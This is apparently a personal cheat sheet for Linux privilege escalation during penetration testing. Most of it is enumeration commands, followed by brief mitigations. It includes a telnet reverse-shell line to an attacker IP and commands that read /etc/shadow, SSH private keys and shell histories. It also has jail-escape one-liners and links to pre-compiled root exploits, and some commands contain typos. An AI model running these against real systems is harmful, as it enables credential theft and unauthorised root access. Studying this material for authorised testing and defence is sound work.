## Basic Linux Privilege Escalation

Before starting, I would like to point out - **I'm no expert**. As far as I know, there isn't a "magic" answer, in this huge area. This is simply my finding, typed up, to be shared (*my starting point*). Below is a mixture of commands to do the same thing, to look at things in a different place or just a different light. I know there more "things" to look for. It's just a **basic & rough guide**. Not every command will work for each system as Linux varies so much. "It" will not jump off the screen - you've to hunt for that "*little thing*" as "*the devil is in the detail*".

**Enumeration is the key.**

(Linux) privilege escalation is all about:

- Collect - **Enumeration**, *more enumeration and some more enumeration*.
- Process - *Sort through data, analyse and prioritisation*.
- Search - *Know what to search for and where to find the exploit code*.
- Adapt - **Customize** the exploit, so it fits. *Not every exploit work for every system "out of the box"*.
- Try - *Get ready for (lots of) trial and error*.

## Operating System

**What's the distribution type? *What version?***

```
1 cat /etc/issue
2 cat /etc/*-release
3 cat /etc/lsb-release      # Debian based
4 cat /etc/redhat-release   # Redhat based
```

**What's the kernel version? *Is it 64-bit?***

```
1 cat /proc/version
2 uname -a
3 uname -mrs
4 rpm -q kernel
5 dmesg | grep Linux
6 ls /boot | grep vmlinuz-
```

**What can be learnt from the environmental variables?**

```
1 cat /etc/profile
2 cat /etc/bashrc
3 cat ~/.bash_profile
4 cat ~/.bashrc
5 cat ~/.bash_logout
6 env
7 set
```

**Is there a printer?**

```
1 lpstat -a
```

## Applications & Services

**What services are running? *Which service has which user privilege?***

```
1 ps aux
2 ps -ef
```

```
3 top
4 cat /etc/services
```

**Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!**

```
1 ps aux | grep root
2 ps -ef | grep root
```

**What applications are installed? What version are they? Are they currently running?**

```
1 ls -alh /usr/bin/
2 ls -alh /sbin/
3 dpkg -l
4 rpm -qa
5 ls -alh /var/cache/apt/archives0
6 ls -alh /var/cache/yum/
```

**Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?**

```
1 cat /etc/syslog.conf
2 cat /etc/chttp.conf
3 cat /etc/lighttpd.conf
4 cat /etc/cups/cupsd.conf
5 cat /etc/inetd.conf
6 cat /etc/apache2/apache2.conf
7 cat /etc/my.conf
8 cat /etc/httpd/conf/httpd.conf
9 cat /opt/lampp/etc/httpd.conf
10 ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'
```

**What jobs are scheduled?**

```
1 crontab -l
2 ls -alh /var/spool/cron
3 ls -al /etc/ | grep cron
4 ls -al /etc/cron*
5 cat /etc/cron*
6 cat /etc/at.allow
7 cat /etc/at.deny
8 cat /etc/cron.allow
9 cat /etc/cron.deny
10 cat /etc/crontab
11 cat /etc/anacrontab
12 cat /var/spool/cron/crontabs/root
```

**Any plain text usernames and/or passwords?**

```
1 grep -i user [filename]
2 grep -i pass [filename]
3 grep -C 5 "password" [filename]
4 find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
```

## Communications & Networking

**What NIC(s) does the system have? Is it connected to another network?**

```
1 /sbin/ifconfig -a
2 cat /etc/network/interfaces
3 cat /etc/sysconfig/network
```

**What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?**

```
1 cat /etc/resolv.conf
2 cat /etc/sysconfig/network
3 cat /etc/networks
4 iptables -L
5 hostname
6 dnsdomainname
```

**What other users & hosts are communicating with the system?**

```

1 lsof -i
2 lsof -i :80
3 grep 80 /etc/services
4 netstat -antup
5 netstat -antpx
6 netstat -tulpn
7 chkconfig --list
8 chkconfig --list | grep 3:on
9 last
10 w

```

**Whats cached? IP and/or MAC addresses**

```

1 arp -e
2 route
3 /sbin/route -nee

```

**Is packet sniffing possible? What can be seen? Listen to live traffic**

```

1 tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

```

Note: `tcpdump tcp dst [ip] [port]` and `tcp dst [ip] [port]`

**Have you got a shell? Can you interact with the system?**

```

1 nc -lvp 4444      # Attacker. Input (Commands)
2 nc -lvp 4445      # Attacker. Output (Results)
3 telnet [attacker ip] 4444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attacker's IP!

```

Note: <http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/>

**Is port forwarding possible? Redirect and interact with traffic from another view**

Note: <http://www.boutell.com/rinetd/>

Note: <http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch>

Note: [http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2\\_1.zip](http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip)

Note: `FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]`

```

1 FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

```

Note: `ssh -L/R [local port]:[remote ip]:[remote port] [local user]@[local ip]`

```

1 ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
2 ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

```

Note: `mkncod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] > backpipe`

```

1 mkncod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 > backpipe    # Port Relay
2 mkncod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 t
3 mkncod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor

```

**Is tunnelling possible? Send commands locally, remotely**

```

1 ssh -D 127.0.0.1:9050 -N [username]@[ip]
2 proxychains ifconfig

```

**Confidential Information & Users**

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

```

1 id
2 who
3 w
4 last
5 cat /etc/passwd | cut -d: -f1 # List of users
6 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
7 awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
8 cat /etc/sudoers
9 sudo -l

```

### What sensitive files can be found?

```

1 cat /etc/passwd
2 cat /etc/group
3 cat /etc/shadow
4 ls -alh /var/mail/

```

### Anything "interesting" in the home directorie(s)? *If it's possible to access*

```

1 ls -ahlR /root/
2 ls -ahlR /home/

```

### Are there any passwords in; scripts, databases, configuration files or log files? *Default paths and locations for passwords*

```

1 cat /var/apache2/config.inc
2 cat /var/lib/mysql/mysql/user.MYD
3 cat /root/anaconda-ks.cfg

```

### What has the user being doing? *Is there any password in plain text? What have they been editing?*

```

1 cat ~/.bash_history
2 cat ~/.nano_history
3 cat ~/.atftp_history
4 cat ~/.mysql_history
5 cat ~/.php_history

```

### What user information can be found?

```

1 cat ~/.bashrc
2 cat ~/.profile
3 cat /var/mail/root
4 cat /var/spool/mail/root

```

### Can private-key information be found?

```

1 cat ~/.ssh/authorized_keys
2 cat ~/.ssh/identity.pub
3 cat ~/.ssh/identity
4 cat ~/.ssh/id_rsa.pub
5 cat ~/.ssh/id_rsa
6 cat ~/.ssh/id_dsa.pub
7 cat ~/.ssh/id_dsa
8 cat /etc/ssh/ssh_config
9 cat /etc/ssh/sshd_config
10 cat /etc/ssh/ssh_host_dsa_key.pub
11 cat /etc/ssh/ssh_host_dsa_key
12 cat /etc/ssh/ssh_host_rsa_key.pub
13 cat /etc/ssh/ssh_host_rsa_key
14 cat /etc/ssh/ssh_host_key.pub
15 cat /etc/ssh/ssh_host_key

```

## File Systems

### Which configuration files can be written in /etc/? *Able to reconfigure a service?*

```

1 ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
2 ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
3 ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
4 ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
5

```

```
6 find /etc/ -readable -type f 2>/dev/null # Anyone
7 find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
```

### What can be found in /var/ ?

```
1 ls -alh /var/log
2 ls -alh /var/mail
3 ls -alh /var/spool
4 ls -alh /var/spool/lpd
5 ls -alh /var/lib/pgsql
6 ls -alh /var/lib/mysql
7 cat /var/lib/dhcp3/dhclient.leases
```

### Any settings/files (hidden) on website? Any settings file with database information?

```
1 ls -alhR /var/www/
2 ls -alhR /srv/www/htdocs/
3 ls -alhR /usr/local/www/apache22/data/
4 ls -alhR /opt/lampp/htdocs/
5 ls -alhR /var/www/html/
```

### Is there anything in the log file(s) (Could help with "Local File Includes"?)

```
1 cat /etc/httpd/logs/access_log
2 cat /etc/httpd/logs/access.log
3 cat /etc/httpd/logs/error_log
4 cat /etc/httpd/logs/error.log
5 cat /var/log/apache2/access_log
6 cat /var/log/apache2/access.log
7 cat /var/log/apache2/error_log
8 cat /var/log/apache2/error.log
9 cat /var/log/apache/access_log
10 cat /var/log/apache/access.log
11 cat /var/log/auth.log
12 cat /var/log/chrony.log
13 cat /var/log/cups/error_log
14 cat /var/log/dpkg.log
15 cat /var/log/faillog
16 cat /var/log/httpd/access_log
17 cat /var/log/httpd/access.log
18 cat /var/log/httpd/error_log
19 cat /var/log/httpd/error.log
20 cat /var/log/lastlog
21 cat /var/log/lighttpd/access.log
22 cat /var/log/lighttpd/error.log
23 cat /var/log/lighttpd/lighttpd.access.log
24 cat /var/log/lighttpd/lighttpd.error.log
25 cat /var/log/messages
26 cat /var/log/secure
27 cat /var/log/syslog
28 cat /var/log/wtmp
29 cat /var/log/xferlog
30 cat /var/log/yum.log
31 cat /var/run/utmp
32 cat /var/webmin/miniserv.log
33 cat /var/www/logs/access_log
34 cat /var/www/logs/access.log
35 ls -alh /var/lib/dhcp3/
36 ls -alh /var/log/postgresql/
37 ls -alh /var/log/proftpd/
38 ls -alh /var/log/samba/
39
40 Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
```

Note: <http://www.thegeekstuff.com/2011/08/linux-var-log-files/>

### If commands are limited, you break out of the "jail" shell?

```
1 python -c 'import pty;pty.spawn("/bin/bash")'
2 echo os.system('/bin/bash')
3 /bin/sh -i
```

### How are file-systems mounted?

```
1 mount
2 df -h
```

**Are there any unmounted file-systems?**

```
1 cat /etc/fstab
```

**What "Advanced Linux File Permissions" are used? *Sticky bits, SUID & GUID***

```
1 find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename
2 find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
3 find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
4
5 find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
6 for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /
7
8 # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g.
9 find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
```

**Where can written to and executed from? *A few 'common' places: /tmp, /var/tmp, /dev/shm***

```
1 find / -writable -type d 2>/dev/null # world-writeable folders
2 find / -perm -222 -type d 2>/dev/null # world-writeable folders
3 find / -perm -o w -type d 2>/dev/null # world-writeable folders
4
5 find / -perm -o x -type d 2>/dev/null # world-executable folders
6
7 find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders
```

**Any "problem" files? *World-writeable, "nobody" files***

```
1 find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files
2 find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files
```

**Preparation & Finding Exploit Code****What development tools/languages are installed/supported?**

```
1 find / -name perl*
2 find / -name python*
3 find / -name gcc*
4 find / -name cc
```

**How can files be uploaded?**

```
1 find / -name wget
2 find / -name nc*
3 find / -name netcat*
4 find / -name tftp*
5 find / -name ftp
```

**Finding exploit code**

<http://www.exploit-db.com>

<http://1337day.com>

<http://www.securiteam.com>

<http://www.securityfocus.com>

<http://www.exploitsearch.net>

<http://metasploit.com/modules/>

<http://securityreason.com>

<http://seclists.org/fulldisclosure/>

<http://www.google.com>

**Finding more information regarding the exploit**

<http://www.cvedetails.com>

[http://packetstormsecurity.org/files/cve/\[CVE\]](http://packetstormsecurity.org/files/cve/[CVE])

[http://cve.mitre.org/cgi-bin/cvename.cgi?name=\[CVE\]](http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE])

[http://www.vulnview.com/cve-details.php?cvename=\[CVE\]](http://www.vulnview.com/cve-details.php?cvename=[CVE])

**(Quick) "Common" exploits. *Warning. Pre-compiled binaries files. Use at your own risk***

<http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/>

<http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/>

## Mitigations

**Is any of the above information easy to find?**

Try doing it! Setup a cron job which automates script(s) and/or 3rd party products

**Is the system fully patched?**

*Kernel, operating system, all applications, their plugins and web services*

```
1 apt-get update && apt-get upgrade
2 yum update
```

**Are services running with the minimum level of privileges required?**

For example, do you need to run MySQL as root?

**Scripts *Can any of this be automated?!***
